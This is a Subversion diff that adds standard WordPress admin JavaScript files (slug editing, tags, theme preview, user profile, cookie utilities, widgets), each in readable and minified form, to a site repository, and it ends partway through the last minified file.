Index: /trunk/www.guidonia.net/wp/wp-admin/js/slug.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/slug.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/slug.dev.js	(revision 44)
@@ -0,0 +1,44 @@
+function edit_permalink(post_id) {
+	var i, c = 0, e = jQuery('#editable-post-name'), revert_e = e.html(), real_slug = jQuery('#post_name'), revert_slug = real_slug.html(), b = jQuery('#edit-slug-buttons'), revert_b = b.html(), full = jQuery('#editable-post-name-full').html();
+
+	jQuery('#view-post-btn').hide();
+	b.html('<a href="#" class="save button">'+slugL10n.save+'</a> <a class="cancel" href="#">'+slugL10n.cancel+'</a>');
+	b.children('.save').click(function() {
+		var new_slug = e.children('input').val();
+		jQuery.post(slugL10n.requestFile, {
+			action: 'sample-permalink',
+			post_id: post_id,
+			new_slug: new_slug,
+			new_title: jQuery('#title').val(),
+			samplepermalinknonce: jQuery('#samplepermalinknonce').val()}, function(data) {
+				jQuery('#edit-slug-box').html(data);
+				b.html(revert_b);
+				real_slug.attr('value', new_slug);
+				make_slugedit_clickable();
+				jQuery('#view-post-btn').show();
+			});
+		return false;
+	});
+	jQuery('#edit-slug-buttons .cancel').click(function() {
+		jQuery('#view-post-btn').show();
+		e.html(revert_e);
+		b.html(revert_b);
+		real_slug.attr('value', revert_slug);
+		return false;
+	});
+	for(i=0; i < full.length; ++i) {
+		if ('%' == full.charAt(i)) c++;
+	}
+	slug_value = (c > full.length/4)? '' : full;
+	e.html('<input type="text" id="new-post-slug" value="'+slug_value+'" />').children('input').keypress(function(e){
+		var key = e.charCode ? e.charCode : e.keyCode ? e.keyCode : 0;
+		// on enter, just save the new slug, don't save the post
+		if (13 == key) {b.children('.save').click();return false;}
+		if (27 == key) {b.children('.cancel').click();return false;}
+		real_slug.attr('value', this.value)}).focus();
+}
+
+function make_slugedit_clickable() {
+	jQuery('#editable-post-name').click(function() {jQuery('#edit-slug-buttons').children('.edit-slug').click()});
+}
+
Index: /trunk/www.guidonia.net/wp/wp-admin/js/slug.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/slug.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/slug.js	(revision 44)
@@ -0,0 +1,1 @@
+function edit_permalink(a){var d,h=0,g=jQuery("#editable-post-name"),j=g.html(),m=jQuery("#post_name"),n=m.html(),k=jQuery("#edit-slug-buttons"),l=k.html(),f=jQuery("#editable-post-name-full").html();jQuery("#view-post-btn").hide();k.html('<a href="#" class="save button">'+slugL10n.save+'</a> <a class="cancel" href="#">'+slugL10n.cancel+"</a>");k.children(".save").click(function(){var b=g.children("input").val();jQuery.post(slugL10n.requestFile,{action:"sample-permalink",post_id:a,new_slug:b,new_title:jQuery("#title").val(),samplepermalinknonce:jQuery("#samplepermalinknonce").val()},function(c){jQuery("#edit-slug-box").html(c);k.html(l);m.attr("value",b);make_slugedit_clickable();jQuery("#view-post-btn").show()});return false});jQuery("#edit-slug-buttons .cancel").click(function(){jQuery("#view-post-btn").show();g.html(j);k.html(l);m.attr("value",n);return false});for(d=0;d<f.length;++d){if("%"==f.charAt(d)){h++}}slug_value=(h>f.length/4)?"":f;g.html('<input type="text" id="new-post-slug" value="'+slug_value+'" />').children("input").keypress(function(c){var b=c.charCode?c.charCode:c.keyCode?c.keyCode:0;if(13==b){k.children(".save").click();return false}if(27==b){k.children(".cancel").click();return false}m.attr("value",this.value)}).focus()}function make_slugedit_clickable(){jQuery("#editable-post-name").click(function(){jQuery("#edit-slug-buttons").children(".edit-slug").click()})};
Index: /trunk/www.guidonia.net/wp/wp-admin/js/tags.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/tags.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/tags.dev.js	(revision 44)
@@ -0,0 +1,37 @@
+jQuery(document).ready(function($) {
+	var options = false, addAfter, addAfter2, delBefore, delAfter;
+
+	addAfter = function( r, settings ) {
+		var name = $("<span>" + $('name', r).text() + "</span>").html(), id = $('tag', r).attr('id');
+		options[options.length] = new Option(name, id);
+	}
+
+	addAfter2 = function( x, r ) {
+		var t = $(r.parsed.responses[0].data);
+		if ( t.length == 1 )
+			inlineEditTax.addEvents($(t.id));
+	}
+
+	delAfter = function( r, settings ) {
+		var id = $('tag', r).attr('id'), o;
+		for ( o = 0; o < options.length; o++ )
+			if ( id == options[o].value )
+				options[o] = null;
+	}
+
+	delBefore = function(s) {
+		s.data.taxonomy = $('input[name="taxonomy"]').val();
+
+		if ( 'undefined' != showNotice )
+			return showNotice.warn() ? s : false;
+
+		return s;
+	}
+
+	if ( options )
+		$('#the-list').wpList( { addAfter: addAfter, delBefore: delBefore, delAfter: delAfter } );
+	else
+		$('#the-list').wpList({ addAfter: addAfter2, delBefore: delBefore });
+
+	$('.delete a[class^="delete"]').click(function(){return false;});
+});
Index: /trunk/www.guidonia.net/wp/wp-admin/js/tags.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/tags.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/tags.js	(revision 44)
@@ -0,0 +1,1 @@
+jQuery(document).ready(function(d){var b=false,f,e,c,a;f=function(i,h){var g=d("<span>"+d("name",i).text()+"</span>").html(),j=d("tag",i).attr("id");b[b.length]=new Option(g,j)};e=function(g,i){var h=d(i.parsed.responses[0].data);if(h.length==1){inlineEditTax.addEvents(d(h.id))}};a=function(h,g){var j=d("tag",h).attr("id"),i;for(i=0;i<b.length;i++){if(j==b[i].value){b[i]=null}}};c=function(g){g.data.taxonomy=d('input[name="taxonomy"]').val();if("undefined"!=showNotice){return showNotice.warn()?g:false}return g};if(b){d("#the-list").wpList({addAfter:f,delBefore:c,delAfter:a})}else{d("#the-list").wpList({addAfter:e,delBefore:c})}d('.delete a[class^="delete"]').click(function(){return false})});
Index: /trunk/www.guidonia.net/wp/wp-admin/js/theme-preview.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/theme-preview.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/theme-preview.dev.js	(revision 44)
@@ -0,0 +1,61 @@
+
+var thickDims, tbWidth, tbHeight;
+jQuery(document).ready(function($) {
+
+	thickDims = function() {
+		var tbWindow = $('#TB_window'), H = $(window).height(), W = $(window).width(), w, h;
+
+		w = (tbWidth && tbWidth < W - 90) ? tbWidth : W - 90;
+		h = (tbHeight && tbHeight < H - 60) ? tbHeight : H - 60;
+
+		if ( tbWindow.size() ) {
+			tbWindow.width(w).height(h);
+			$('#TB_iframeContent').width(w).height(h - 27);
+			tbWindow.css({'margin-left': '-' + parseInt((w / 2),10) + 'px'});
+			if ( typeof document.body.style.maxWidth != 'undefined' )
+				tbWindow.css({'top':'30px','margin-top':'0'});
+		}
+	};
+
+	thickDims();
+	$(window).resize( function() { thickDims() } );
+
+	$('a.thickbox-preview').click( function() {
+		var alink = $(this).parents('.available-theme').find('.activatelink'), link = '', href = $(this).attr('href'), url, text;
+
+		if ( tbWidth = href.match(/&tbWidth=[0-9]+/) )
+			tbWidth = parseInt(tbWidth[0].replace(/[^0-9]+/g, ''), 10);
+		else
+			tbWidth = $(window).width() - 90;
+
+		if ( tbHeight = href.match(/&tbHeight=[0-9]+/) )
+			tbHeight = parseInt(tbHeight[0].replace(/[^0-9]+/g, ''), 10);
+		else
+			tbHeight = $(window).height() - 60;
+
+		if ( alink.length ) {
+			url = alink.attr('href') || '';
+			text = alink.attr('title') || '';
+			link = '&nbsp; <a href="' + url + '" target="_top" class="tb-theme-preview-link">' + text + '</a>';
+		} else {
+			text = $(this).attr('title') || '';
+			link = '&nbsp; <span class="tb-theme-preview-link">' + text + '</span>';
+		}
+
+		$('#TB_title').css({'background-color':'#222','color':'#dfdfdf'});
+		$('#TB_closeAjaxWindow').css({'float':'left'});
+		$('#TB_ajaxWindowTitle').css({'float':'right'}).html(link);
+
+		$('#TB_iframeContent').width('100%');
+		thickDims();
+		return false;
+	} );
+
+	// Theme details
+	$('.theme-detail').click(function () {
+		$(this).siblings('.themedetaildiv').toggle();
+		return false;
+	});
+
+});
+
Index: /trunk/www.guidonia.net/wp/wp-admin/js/theme-preview.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/theme-preview.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/theme-preview.js	(revision 44)
@@ -0,0 +1,1 @@
+var thickDims,tbWidth,tbHeight;jQuery(document).ready(function(a){thickDims=function(){var f=a("#TB_window"),d=a(window).height(),b=a(window).width(),c,e;c=(tbWidth&&tbWidth<b-90)?tbWidth:b-90;e=(tbHeight&&tbHeight<d-60)?tbHeight:d-60;if(f.size()){f.width(c).height(e);a("#TB_iframeContent").width(c).height(e-27);f.css({"margin-left":"-"+parseInt((c/2),10)+"px"});if(typeof document.body.style.maxWidth!="undefined"){f.css({top:"30px","margin-top":"0"})}}};thickDims();a(window).resize(function(){thickDims()});a("a.thickbox-preview").click(function(){var d=a(this).parents(".available-theme").find(".activatelink"),e="",b=a(this).attr("href"),c,f;if(tbWidth=b.match(/&tbWidth=[0-9]+/)){tbWidth=parseInt(tbWidth[0].replace(/[^0-9]+/g,""),10)}else{tbWidth=a(window).width()-90}if(tbHeight=b.match(/&tbHeight=[0-9]+/)){tbHeight=parseInt(tbHeight[0].replace(/[^0-9]+/g,""),10)}else{tbHeight=a(window).height()-60}if(d.length){c=d.attr("href")||"";f=d.attr("title")||"";e='&nbsp; <a href="'+c+'" target="_top" class="tb-theme-preview-link">'+f+"</a>"}else{f=a(this).attr("title")||"";e='&nbsp; <span class="tb-theme-preview-link">'+f+"</span>"}a("#TB_title").css({"background-color":"#222",color:"#dfdfdf"});a("#TB_closeAjaxWindow").css({"float":"left"});a("#TB_ajaxWindowTitle").css({"float":"right"}).html(e);a("#TB_iframeContent").width("100%");thickDims();return false});a(".theme-detail").click(function(){a(this).siblings(".themedetaildiv").toggle();return false})});
Index: /trunk/www.guidonia.net/wp/wp-admin/js/user-profile.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/user-profile.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/user-profile.dev.js	(revision 44)
@@ -0,0 +1,52 @@
+(function($){
+
+	function check_pass_strength() {
+		var pass = $('#pass1').val(), user = $('#user_login').val(), strength;
+
+		$('#pass-strength-result').removeClass('short bad good strong');
+		if ( ! pass ) {
+			$('#pass-strength-result').html( pwsL10n.empty );
+			return;
+		}
+
+		strength = passwordStrength(pass, user);
+
+		switch ( strength ) {
+			case 2:
+				$('#pass-strength-result').addClass('bad').html( pwsL10n['bad'] );
+				break;
+			case 3:
+				$('#pass-strength-result').addClass('good').html( pwsL10n['good'] );
+				break;
+			case 4:
+				$('#pass-strength-result').addClass('strong').html( pwsL10n['strong'] );
+				break;
+			default:
+				$('#pass-strength-result').addClass('short').html( pwsL10n['short'] );
+		}
+	}
+
+	$(document).ready( function() {
+		$('#pass1').val('').keyup( check_pass_strength );
+		$('.color-palette').click(function(){$(this).siblings('input[name=admin_color]').attr('checked', 'checked')});
+		$('#nickname').blur(function(){
+			var str = $(this).val() || $('#user_login').val();
+			$('#display_name #display_nickname').val(str).html(str);
+		});
+		$('#first_name, #last_name').blur(function(){
+			var first = $('#first_name').val(), last = $('#last_name').val();
+			$('#display_firstname, #display_lastname, #display_firstlast, #display_lastfirst').remove();
+			if ( first && last ) {
+				$('#display_name').append('<option id="display_firstname" value="' + first + '">' + first + '</option>' +
+					'<option id="display_lastname" value="' + last + '">' + last + '</option>' +
+					'<option id="display_firstlast" value="' + first + ' ' + last + '">' + first + ' ' + last + '</option>' +
+					'<option id="display_lastfirst" value="' + last + ' ' + first + '">' + last + ' ' + first + '</option>');
+			} else if ( first && !last ) {
+				$('#display_name').append('<option id="display_firstname" value="' + first + '">' + first + '</option>');
+			} else if ( !first && last ) {
+				$('#display_name').append('<option id="display_lastname" value="' + last + '">' + last + '</option>');
+			}
+		});
+    });
+
+})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-admin/js/user-profile.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/user-profile.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/user-profile.js	(revision 44)
@@ -0,0 +1,1 @@
+(function(a){function b(){var d=a("#pass1").val(),c=a("#user_login").val(),e;a("#pass-strength-result").removeClass("short bad good strong");if(!d){a("#pass-strength-result").html(pwsL10n.empty);return}e=passwordStrength(d,c);switch(e){case 2:a("#pass-strength-result").addClass("bad").html(pwsL10n.bad);break;case 3:a("#pass-strength-result").addClass("good").html(pwsL10n.good);break;case 4:a("#pass-strength-result").addClass("strong").html(pwsL10n.strong);break;default:a("#pass-strength-result").addClass("short").html(pwsL10n["short"])}}a(document).ready(function(){a("#pass1").val("").keyup(b);a(".color-palette").click(function(){a(this).siblings("input[name=admin_color]").attr("checked","checked")});a("#nickname").blur(function(){var c=a(this).val()||a("#user_login").val();a("#display_name #display_nickname").val(c).html(c)});a("#first_name, #last_name").blur(function(){var d=a("#first_name").val(),c=a("#last_name").val();a("#display_firstname, #display_lastname, #display_firstlast, #display_lastfirst").remove();if(d&&c){a("#display_name").append('<option id="display_firstname" value="'+d+'">'+d+'</option><option id="display_lastname" value="'+c+'">'+c+'</option><option id="display_firstlast" value="'+d+" "+c+'">'+d+" "+c+'</option><option id="display_lastfirst" value="'+c+" "+d+'">'+c+" "+d+"</option>")}else{if(d&&!c){a("#display_name").append('<option id="display_firstname" value="'+d+'">'+d+"</option>")}else{if(!d&&c){a("#display_name").append('<option id="display_lastname" value="'+c+'">'+c+"</option>")}}}})})})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-admin/js/users.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/users.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/users.js	(revision 44)
@@ -0,0 +1,5 @@
+jQuery( function($) {
+	$('#users').wpList();
+
+	columns.init('users');
+});
Index: /trunk/www.guidonia.net/wp/wp-admin/js/utils.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/utils.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/utils.dev.js	(revision 44)
@@ -0,0 +1,166 @@
+// utility functions
+function convertEntities(o) {
+	var c, v;
+	c = function(s) {
+		if (/&[^;]+;/.test(s)) {
+			var e = document.createElement("div");
+			e.innerHTML = s;
+			return !e.firstChild ? s : e.firstChild.nodeValue;
+		}
+		return s;
+	}
+
+	if ( typeof o === 'string' ) {
+		return c(o);
+	} else if ( typeof o === 'object' ) {
+		for (v in o) {
+			if ( typeof o[v] === 'string' ) {
+				o[v] = c(o[v]);
+			}
+		}
+	}
+	return o;
+}
+
+var wpCookies = {
+// The following functions are from Cookie.js class in TinyMCE, Moxiecode, used under LGPL.
+
+	each : function(o, cb, s) {
+		var n, l;
+
+		if (!o)
+			return 0;
+
+		s = s || o;
+
+		if (typeof(o.length) != 'undefined') {
+			for (n=0, l = o.length; n<l; n++) {
+				if (cb.call(s, o[n], n, o) === false)
+					return 0;
+			}
+		} else {
+			for (n in o) {
+				if (o.hasOwnProperty(n)) {
+					if (cb.call(s, o[n], n, o) === false) {
+						return 0;
+					}
+				}
+			}
+		}
+		return 1;
+	},
+
+	getHash : function(n) {
+		var v = this.get(n), h;
+
+		if (v) {
+			this.each(v.split('&'), function(v) {
+				v = v.split('=');
+				h = h || {};
+				h[v[0]] = v[1];
+			});
+		}
+		return h;
+	},
+
+	setHash : function(n, v, e, p, d, s) {
+		var o = '';
+
+		this.each(v, function(v, k) {
+			o += (!o ? '' : '&') + k + '=' + v;
+		});
+
+		this.set(n, o, e, p, d, s);
+	},
+
+	get : function(n) {
+		var c = document.cookie, e, p = n + "=", b;
+
+		if (!c)
+			return;
+
+		b = c.indexOf("; " + p);
+
+		if (b == -1) {
+			b = c.indexOf(p);
+
+			if (b != 0)
+				return null;
+
+		} else {
+			b += 2;
+		}
+
+		e = c.indexOf(";", b);
+
+		if (e == -1)
+			e = c.length;
+
+		return decodeURIComponent(c.substring(b + p.length, e));
+	},
+
+	set : function(n, v, e, p, d, s) {
+		document.cookie = n + "=" + encodeURIComponent(v) +
+			((e) ? "; expires=" + e.toGMTString() : "") +
+			((p) ? "; path=" + p : "") +
+			((d) ? "; domain=" + d : "") +
+			((s) ? "; secure" : "");
+	},
+
+	remove : function(n, p) {
+		var d = new Date();
+
+		d.setTime(d.getTime() - 1000);
+
+		this.set(n, '', d, p, d);
+	}
+};
+
+// Returns the value as string. Second arg or empty string is returned when value is not set.
+function getUserSetting( name, def ) {
+	var o = getAllUserSettings();
+
+	if ( o.hasOwnProperty(name) )
+		return o[name];
+
+	if ( typeof def != 'undefined' )
+		return def;
+
+	return '';
+}
+
+// Both name and value must be only ASCII letters, numbers or underscore
+// and the shorter, the better (cookies can store maximum 4KB). Not suitable to store text.
+function setUserSetting( name, value, del ) {
+	if ( 'object' !== typeof userSettings )
+		return false;
+
+	var c = 'wp-settings-' + userSettings.uid, o = wpCookies.getHash(c) || {}, d = new Date(), p,
+	n = name.toString().replace(/[^A-Za-z0-9_]/, ''), v = value.toString().replace(/[^A-Za-z0-9_]/, '');
+
+	if ( del ) {
+		delete o[n];
+	} else {
+		o[n] = v;
+	}
+
+	d.setTime( d.getTime() + 31536000000 );
+	p = userSettings.url;
+
+	wpCookies.setHash(c, o, d, p);
+	wpCookies.set('wp-settings-time-'+userSettings.uid, userSettings.time, d, p);
+
+	return name;
+}
+
+function deleteUserSetting( name ) {
+	return setUserSetting( name, '', 1 );
+}
+
+// Returns all settings as js object.
+function getAllUserSettings() {
+	if ( 'object' !== typeof userSettings )
+		return {};
+
+	return wpCookies.getHash('wp-settings-' + userSettings.uid) || {};
+}
Index: /trunk/www.guidonia.net/wp/wp-admin/js/utils.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/utils.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/utils.js	(revision 44)
@@ -0,0 +1,1 @@
+function convertEntities(b){var d,a;d=function(c){if(/&[^;]+;/.test(c)){var f=document.createElement("div");f.innerHTML=c;return !f.firstChild?c:f.firstChild.nodeValue}return c};if(typeof b==="string"){return d(b)}else{if(typeof b==="object"){for(a in b){if(typeof b[a]==="string"){b[a]=d(b[a])}}}}return b}var wpCookies={each:function(d,a,c){var e,b;if(!d){return 0}c=c||d;if(typeof(d.length)!="undefined"){for(e=0,b=d.length;e<b;e++){if(a.call(c,d[e],e,d)===false){return 0}}}else{for(e in d){if(d.hasOwnProperty(e)){if(a.call(c,d[e],e,d)===false){return 0}}}}return 1},getHash:function(c){var a=this.get(c),b;if(a){this.each(a.split("&"),function(d){d=d.split("=");b=b||{};b[d[0]]=d[1]})}return b},setHash:function(i,a,f,c,h,b){var g="";this.each(a,function(e,d){g+=(!g?"":"&")+d+"="+e});this.set(i,g,f,c,h,b)},get:function(h){var g=document.cookie,f,d=h+"=",a;if(!g){return}a=g.indexOf("; "+d);if(a==-1){a=g.indexOf(d);if(a!=0){return null}}else{a+=2}f=g.indexOf(";",a);if(f==-1){f=g.length}return decodeURIComponent(g.substring(a+d.length,f))},set:function(h,a,f,c,g,b){document.cookie=h+"="+encodeURIComponent(a)+((f)?"; expires="+f.toGMTString():"")+((c)?"; path="+c:"")+((g)?"; domain="+g:"")+((b)?"; secure":"")},remove:function(c,a){var b=new Date();b.setTime(b.getTime()-1000);this.set(c,"",b,a,b)}};function getUserSetting(a,b){var c=getAllUserSettings();if(c.hasOwnProperty(a)){return c[a]}if(typeof b!="undefined"){return b}return""}function setUserSetting(a,i,k){if("object"!==typeof userSettings){return false}var h="wp-settings-"+userSettings.uid,e=wpCookies.getHash(h)||{},g=new Date(),b,f=a.toString().replace(/[^A-Za-z0-9_]/,""),j=i.toString().replace(/[^A-Za-z0-9_]/,"");if(k){delete e[f]}else{e[f]=j}g.setTime(g.getTime()+31536000000);b=userSettings.url;wpCookies.setHash(h,e,g,b);wpCookies.set("wp-settings-time-"+userSettings.uid,userSettings.time,g,b);return a}function deleteUserSetting(a){return setUserSetting(a,"",1)}function getAllUserSettings(){if("object"!==typeof userSettings){return{}}return wpCookies.getHash("wp-settings-"+userSettings.uid)||{}};
Index: /trunk/www.guidonia.net/wp/wp-admin/js/widgets.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/widgets.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/widgets.dev.js	(revision 44)
@@ -0,0 +1,284 @@
+
+var wpWidgets;
+(function($) {
+
+wpWidgets = {
+	init : function() {
+        var rem;
+
+		if ( $('body').hasClass('widgets_access') ) {
+			return;
+		}
+
+		$('#widgets-right div.sidebar-name').click(function(){
+            var c = $(this).siblings('.widgets-sortables');
+			if ( c.is(':visible') ) {
+				c.sortable('disable');
+				$(this).parent().addClass('closed');
+			} else {
+				$(this).parent().removeClass('closed');
+				c.sortable('enable').sortable('refresh');
+			}
+        });
+
+        $('#widgets-left div.sidebar-name').click(function(){
+			if ( $(this).siblings('.widget-holder').is(':visible') ) {
+				$(this).parent().addClass('closed');
+			} else {
+				$(this).parent().removeClass('closed');
+			}
+        });
+
+		$('#widgets-right .widget, #wp_inactive_widgets .widget').each(function(){
+			wpWidgets.appendTitle(this);
+		});
+
+		this.addEvents();
+        $('.widget-error').parents('.widget').find('a.widget-action').click();
+
+		$('#available-widgets').droppable({
+			tolerance: 'pointer',
+			accept: function(o){
+				return $(o).parent().attr('id') != 'widget-list';
+			},
+			drop: function(e,ui) {
+				ui.draggable.addClass('deleting');
+				$('#removing-widget').hide().children('span').html('');
+			},
+			over: function(e,ui) {
+				ui.draggable.addClass('deleting');
+				$('.widget-placeholder').hide();
+
+				if ( ui.draggable.hasClass('ui-sortable-helper') )
+					$('#removing-widget').show().children('span').html( ui.draggable.find('.widget-title h4').html() );
+			},
+			out: function(e,ui) {
+				ui.draggable.removeClass('deleting');
+				$('.widget-placeholder').show();
+				$('#removing-widget').hide().children('span').html('');
+			}
+		});
+
+		$('#widget-list .widget').draggable({
+			connectToSortable: '.widgets-sortables',
+			handle: '.widget-title',
+			distance: 2,
+			helper: 'clone',
+			zIndex: 5,
+			containment: 'document',
+			start: function(e,ui) {
+				wpWidgets.fixWebkit(1);
+				ui.helper.find('.widget-description').hide();
+			},
+			stop: function(e,ui) {
+				if ( rem )
+					$(rem).hide();
+				rem = '';
+				wpWidgets.fixWebkit();
+			}
+		});
+
+        $('.widgets-sortables').sortable({
+			placeholder: 'widget-placeholder',
+			connectWith: '.widgets-sortables',
+			items: '.widget',
+			handle: '.widget-title',
+			cursor: 'move',
+			distance: 2,
+			containment: 'document',
+			start: function(e,ui) {
+				wpWidgets.fixWebkit(1);
+				ui.item.find('.widget-inside').hide();
+				ui.item.css({'marginLeft':'','width':''});
+			},
+			stop: function(e,ui) {
+				if ( ui.item.hasClass('ui-draggable') )
+					ui.item.draggable('destroy');
+
+				if ( ui.item.hasClass('deleting') ) {
+					wpWidgets.save( ui.item, 1, 0, 1 ); // delete widget
+					ui.item.remove();
+					return;
+				}
+
+				var add = ui.item.find('input.add_new').val(), n = ui.item.find('input.multi_number').val(), id = ui.item.attr('id'), sb = $(this).attr('id');
+
+				ui.item.css({'marginLeft':'','width':''});
+				wpWidgets.fixWebkit();
+				if ( add ) {
+					if ( 'multi' == add ) {
+						ui.item.html( ui.item.html().replace(/<[^<>]+>/g, function(m){ return m.replace(/__i__|%i%/g, n); }) );
+						ui.item.attr( 'id', id.replace(/__i__|%i%/g, n) );
+						n++;
+						$('div#' + id).find('input.multi_number').val(n);
+					} else if ( 'single' == add ) {
+						ui.item.attr( 'id', 'new-' + id );
+						rem = 'div#' + id;
+					}
+					wpWidgets.addEvents(ui.item);
+					wpWidgets.save( ui.item, 0, 0, 1 );
+					ui.item.find('input.add_new').val('');
+					ui.item.find('a.widget-action').click();
+					return;
+				}
+				wpWidgets.saveOrder(sb);
+			},
+			receive: function(e,ui) {
+				if ( !$(this).is(':visible') )
+					$(this).sortable('cancel');
+			}
+		}).not(':visible').sortable('disable');
+		wpWidgets.resize();
+		wpWidgets.fixLabels();
+	},
+
+	saveOrder : function(sb) {
+		if ( sb )
+			$('#' + sb).parents('.widgets-holder-wrap').find('.ajax-feedback').css('visibility', 'visible');
+
+		var a = {
+			action: 'widgets-order',
+			savewidgets: $('#_wpnonce_widgets').val(),
+			sidebars: []
+		};
+
+		$('.widgets-sortables').each( function() {
+			a['sidebars[' + $(this).attr('id') + ']'] = $(this).sortable('toArray').join(',');
+		});
+
+		$.post( ajaxurl, a, function() {
+			$('.ajax-feedback').css('visibility', 'hidden');
+		});
+		this.resize();
+	},
+
+	save : function(widget, del, animate, order) {
+		var sb = widget.parents('.widgets-sortables').attr('id'), data = widget.find('form').serialize(), a;
+		widget = $(widget);
+		widget.find('.ajax-feedback').css('visibility', 'visible');
+
+		a = {
+			action: 'save-widget',
+			savewidgets: $('#_wpnonce_widgets').val(),
+			sidebar: sb
+		};
+
+		if ( del )
+			a['delete_widget'] = 1;
+
+		data += '&' + $.param(a);
+
+		$.post( ajaxurl, data, function(r){
+			var id;
+
+			if ( del ) {
+				if ( !$('.widget_number', widget).val() ) {
+					id = $('.widget-id', widget).val();
+					$('#available-widgets .widget-id').each(function(){
+						if ( $(this).val() == id )
+							$(this).parents('.widget').show();
+					});
+				}
+
+				if ( animate ) {
+					order = 0;
+					widget.slideUp('fast', function(){
+						$(this).remove();
+						wpWidgets.saveOrder();
+					});
+				} else {
+					widget.remove();
+					wpWidgets.resize();
+				}
+			} else {
+				$('.ajax-feedback').css('visibility', 'hidden');
+				if ( r && r.length > 2 ) {
+					$('.widget-content', widget).html(r);
+					wpWidgets.appendTitle(widget);
+					wpWidgets.fixLabels(widget);
+				}
+			}
+			if ( order )
+				wpWidgets.saveOrder();
+		});
+	},
+
+	appendTitle : function(widget) {
+		$('input[type="text"]', widget).each(function(){
+			var title;
+			if ( this.id.indexOf('title') != -1 ) {
+				title = $(this).val().replace(/<[^<>]+>/g, '').replace(/</g, '&lt;').replace(/>/g, '&gt;');
+				if ( title )
+					$('.widget-title .in-widget-title', widget).html(': ' + title);
+				return false;
+			}
+		});
+	},
+
+	resize : function() {
+		$('.widgets-sortables').not('#wp_inactive_widgets').each(function(){
+			var h = 50, H = $('.widget', this).length;
+			h = h + parseInt(H * 48, 10);
+			$(this).css( 'minHeight', h + 'px' );
+		});
+	},
+
+    fixWebkit : function(n) {
+        n = n ? 'none' : '';
+        $('body').css({
+			WebkitUserSelect: n,
+			KhtmlUserSelect: n
+		});
+    },
+    
+    fixLabels : function(sc) {
+		sc = sc || document;
+
+		$('.widget-inside label', sc).each(function(){
+			var f = $(this).attr('for');
+
+			if ( f && f == $('input', this).attr('id') )
+				$(this).removeAttr('for');
+		});
+	},
+    
+    close : function(widget) {
+		widget.find('.widget-inside').slideUp('fast', function(){
+			widget.css({'width':'','marginLeft':''});
+		});
+	},
+
+    addEvents : function(sc) {
+		sc = sc || document;
+		$('a.widget-action', sc).click(function(){
+            var w = parseInt( $(this).parents('.widget').find('.widget-width').val(), 10 ), css = {}, inside = $(this).parents('.widget-top').siblings('.widget-inside');
+			if ( inside.is(':hidden') ) {
+				if ( w > 250 && inside.parents('.widgets-sortables').length ) {
+					css['width'] = w + 30 + 'px';
+					if ( inside.parents('.widget-liquid-right').length )
+						css['marginLeft'] = 235 - w + 'px';
+					inside.parents('.widget').css(css);
+				}
+				inside.slideDown('fast');
+			} else {
+				inside.slideUp('fast', function(){ inside.parents('.widget').css({'width':'','marginLeft':''}); });
+			}
+            return false;
+        });
+        $('.widget-control-save', sc).click(function(){
+			wpWidgets.save( $(this).parents('.widget'), 0, 1, 0 );
+			return false;
+		});
+		$('.widget-control-remove', sc).click(function(){
+			wpWidgets.save( $(this).parents('.widget'), 1, 1, 0 );
+			return false;
+		});
+		$('.widget-control-close', sc).click(function(){
+			wpWidgets.close( $(this).parents('.widget') );
+			return false;
+		});
+	}
+};
+$(document).ready(function(){wpWidgets.init();});
+
+})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-admin/js/widgets.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/widgets.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/widgets.js	(revision 44)
@@ -0,0 +1,1 @@
+var wpWidgets;(function(a){wpWidgets={init:function(){var b;if(a("body").hasClass("widgets_access")){return}a("#widgets-right div.sidebar-name").click(function(){var d=a(this).siblings(".widgets-sortables");if(d.is(":visible")){d.sortable("disable");a(this).parent().addClass("closed")}else{a(this).parent().removeClass("closed");d.sortable("enable").sortable("refresh")}});a("#widgets-left div.sidebar-name").click(function(){if(a(this).siblings(".widget-holder").is(":visible")){a(this).parent().addClass("closed")}else{a(this).parent().removeClass("closed")}});a("#widgets-right .widget, #wp_inactive_widgets .widget").each(function(){wpWidgets.appendTitle(this)});this.addEvents();a(".widget-error").parents(".widget").find("a.widget-action").click();a("#available-widgets").droppable({tolerance:"pointer",accept:function(c){return a(c).parent().attr("id")!="widget-list"},drop:function(d,c){c.draggable.addClass("deleting");a("#removing-widget").hide().children("span").html("")},over:function(d,c){c.draggable.addClass("deleting");a(".widget-placeholder").hide();if(c.draggable.hasClass("ui-sortable-helper")){a("#removing-widget").show().children("span").html(c.draggable.find(".widget-title h4").html())}},out:function(d,c){c.draggable.removeClass("deleting");a(".widget-placeholder").show();a("#removing-widget").hide().children("span").html("")}});a("#widget-list 